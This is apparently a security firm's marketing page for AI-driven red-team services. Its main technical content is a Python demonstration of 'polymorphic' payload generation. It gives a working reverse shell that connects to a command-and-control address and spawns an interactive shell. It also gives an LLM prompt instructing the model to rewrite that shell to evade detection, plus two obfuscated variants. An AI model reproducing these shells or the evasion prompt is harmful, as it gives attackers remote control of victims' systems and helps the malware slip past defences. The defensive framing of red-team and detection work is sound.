Offensive AI & Adversarial Simulation

Intro

Artificial Intelligence is the ultimate dual-use technology. For every defensive application, a corresponding offensive technique exists or is under active development. Understanding the adversarial use of AI is no longer a theoretical exercise; it is a critical component of modern threat intelligence and robust cyber defense. To build a resilient shield, one must first understand the shape of the sword. We specialize in researching, replicating, and defending against these emerging AI-powered attack vectors before our clients encounter them in the wild.

The Code 0 Advantage: Thinking Like the AI-Powered Adversary

Our philosophy is that you cannot defend against a threat you do not comprehend. We invest heavily in offensive AI research not to create new weapons, but to build high-fidelity simulations of next-generation threats. This allows our clients to test their security posture—their people, processes, and technology—against the reality of tomorrow's attacks, today. This proactive, adversarial mindset is what separates a reactive security stance from a truly resilient one.

The Modern Attack Lifecycle: An AI-Augmented Playbook

Adversaries are leveraging AI to enhance every stage of the attack lifecycle, automating and scaling attacks that were previously manual, costly, and time-consuming.

Our Adversarial Simulation Services (Red Teaming)

We turn this research into a direct defensive advantage for our clients through specialized red team engagements.

• AI-Driven Phishing & Vishing Campaigns: We test your organization's human firewall against waves of AI-generated, hyper-personalized phishing emails and follow-up deepfake voice calls, providing a true measure of your susceptibility to modern social engineering.
• Automated C2 & EDR Evasion Testing: We use AI-generated payloads to test the true effectiveness of your Endpoint Detection and Response (EDR), Security Information and Event Management (SIEM), and network security solutions against malware that has never been seen before.
• Deepfake Resilience Assessments: Through authorized and controlled engagements, we simulate deepfake-driven attacks to test the resilience of your financial transaction protocols and executive communication channels.
• AI Security Posture Review: We analyze your own use of AI systems through the lens of the OWASP Top 10 for LLMs, identifying vulnerabilities like prompt injection, data poisoning, and insecure model access before an attacker does.

Example: LLM-Assisted Polymorphic Payload Generation

This script demonstrates how an LLM can be used to generate polymorphic code. The core logic of the reverse shell remains, but the AI is prompted to systematically alter the implementation details, creating a new signature for each generation. This makes signature-based detection extremely difficult.

# --- Base Payload Template ---
# This is the core logic we want to obfuscate.
BASE_PAYLOAD_LOGIC = """
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{C2_IP}",{C2_PORT}));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
"""

# --- LLM Prompt for Polymorphism ---
# In a real scenario, this prompt would be sent to a code-generation LLM via an API call.
POLYMORPHIC_PROMPT = f"""
You are a cybersecurity expert specializing in payload generation.
Your task is to rewrite the following Python reverse shell payload to evade detection.
Do not change its core functionality.

Rules for rewriting:
1.  Randomize all variable names (e.g., 's', 'p').
2.  Import modules in different, but valid, ways (e.g., `__import__`).
3.  Add 2-3 lines of meaningless, random-looking comments.
4.  Slightly reorder non-dependent statements.
5.  Represent the C2 IP address and Port in a non-obvious way (e.g., hex, octal).

Base Payload:
{BASE_PAYLOAD_LOGIC}

Generate one new, unique variation.
"""

def generate_payload_variation(c2_ip="10.10.10.1", c2_port=4444):
    """
    This function simulates the output of an LLM that received the POLYMORPHIC_PROMPT.
    Each of these examples is a plausible AI-generated variant.
    """
    
    # --- Variation 1 (AI-Generated Output) ---
    variation_1 = """
# Data exfiltration channel init
import os
network_channel = __import__('socket').socket(__import__('socket').AF_INET, __import__('socket').SOCK_STREAM)
# Random comment: a98sdyfh2398
network_channel.connect(('10.10.10.1', 4444))
os.dup2(network_channel.fileno(), 2) # Stderr
os.dup2(network_channel.fileno(), 1) # Stdout
os.dup2(network_channel.fileno(), 0) # Stdin
# Executing shell process
shell_proc = __import__('subprocess').call(['/bin/bash', '-i'])
    """

    # --- Variation 2 (AI-Generated Output) ---
    variation_2 = """
import subprocess as sp
# Connection protocol: TCP stream
import socket as so
# Ref: 87b6a2c
conn_obj = so.socket(so.AF_INET, so.SOCK_STREAM)
c2_port_calc = 2222 * 2
conn_obj.connect(('10.10.10.1', c2_port_calc))
import os
os.dup2(conn_obj.fileno(), 0)
os.dup2(conn_obj.fileno(), 1)
os.dup2(conn_obj.fileno(), 2)
sp.call(['/bin/sh', '-i'])
    """
    
    print("--- LLM Prompt ---")
    print(POLYMORPHIC_PROMPT.format(C2_IP=c2_ip, C2_PORT=c2_port))
    print("\n--- PLAUSIBLE AI OUTPUT (VARIATION 1) ---")
    print(variation_1)
    print("\n--- PLAUSIBLE AI OUTPUT (VARIATION 2) ---")
    print(variation_2)

# Run the simulation
generate_payload_variation()

Links

• Adversarial AI Framework: MITRE ATLAS (Adversarial Threat Landscape for AI Systems)
• LLM Application Security Risks: OWASP Top 10 for Large Language Model Applications
• AI Red Teaming Research: NVIDIA - AI Red Teaming: The Next Frontier in Cybersecurity